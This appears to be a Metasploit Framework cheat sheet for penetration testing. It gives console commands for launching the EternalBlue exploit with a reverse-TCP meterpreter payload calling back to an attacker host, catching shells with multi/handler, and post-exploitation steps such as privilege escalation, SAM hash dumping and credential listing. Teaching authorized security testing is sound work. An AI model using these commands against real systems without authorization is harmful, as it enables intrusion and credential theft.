Metasploit Framework
Exploit framework — find, configure, and fire exploits; manage sessions; automate post-exploitation.
Quick Start
# Start console (with DB)
msfdb init && msfconsole
# Start quiet
msfconsole -q
Core Workflow
msf6 > search type:exploit name:eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > info
msf6 exploit(...) > show options
msf6 exploit(...) > set RHOSTS 10.10.10.10
msf6 exploit(...) > set LHOST 10.10.14.5
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run
Search Syntax
search type:exploit platform:windows name:smb
search cve:2021-44228 # Log4Shell
search type:auxiliary name:scanner # Auxiliary scanners
search rank:excellent platform:linux # Only excellent-ranked
Module Types
| Type |
Prefix |
Use |
| exploit |
exploit/ |
Run exploit against target |
| auxiliary |
auxiliary/ |
Scanners, fuzzers, brute-force |
| post |
post/ |
Post-exploitation on session |
| payload |
payload/ |
Shellcode / stager |
| encoder |
encoder/ |
Payload obfuscation |
| nop |
nop/ |
NOP sleds |
Essential Commands
info # Module details, options, references
show options # Required/optional params
show payloads # Compatible payloads for this module
show targets # Supported target OS variants
set OPTION VALUE # Set option
setg OPTION VALUE # Set globally (persists across modules)
unset OPTION # Clear option
check # Test if target is vulnerable (if supported)
run / exploit # Fire
run -j # Run as background job
jobs # List running jobs
kill <id> # Kill a job
Payload Selection
# Staged (small stager, pulls stage over network — needs handler)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Stageless (self-contained — works without handler running)
set PAYLOAD windows/x64/meterpreter_reverse_tcp
# Common payloads
windows/x64/meterpreter/reverse_tcp # Windows staged
windows/x64/shell_reverse_tcp # Windows raw shell
linux/x64/meterpreter/reverse_tcp # Linux staged
linux/x64/shell/reverse_tcp # Linux shell
python/meterpreter/reverse_tcp # Python target
Multi/Handler (Catch Reverse Shells)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run -j # Background — catches incoming connections
Sessions
sessions -l # List sessions
sessions -i 1 # Interact with session 1
sessions -u 1 # Upgrade shell to meterpreter
sessions -k 1 # Kill session
background # Background current session (Ctrl+Z)
Meterpreter Quick Reference
sysinfo # System info
getuid # Current user
getsystem # Attempt privilege escalation
getpid # Process ID
ps # Process list
migrate <PID> # Migrate to another process
shell # Drop to OS shell
upload file /path/ # Upload file
download /path/file # Download file
ls / pwd / cd # Filesystem navigation
hashdump # Dump SAM hashes (needs SYSTEM)
run post/multi/recon/local_exploit_suggester # Find privesc
Database Commands
db_nmap -sV -p- 10.10.10.10 # Nmap scan + store results
hosts # Show discovered hosts
services # Show discovered services
vulns # Show flagged vulnerabilities
creds # Show captured credentials
Resources
| File |
When to load |
references/msfvenom.md |
Payload generation with msfvenom, encoders, formats |
references/post-exploitation.md |
Post modules, pivoting, credential extraction |
AeonDave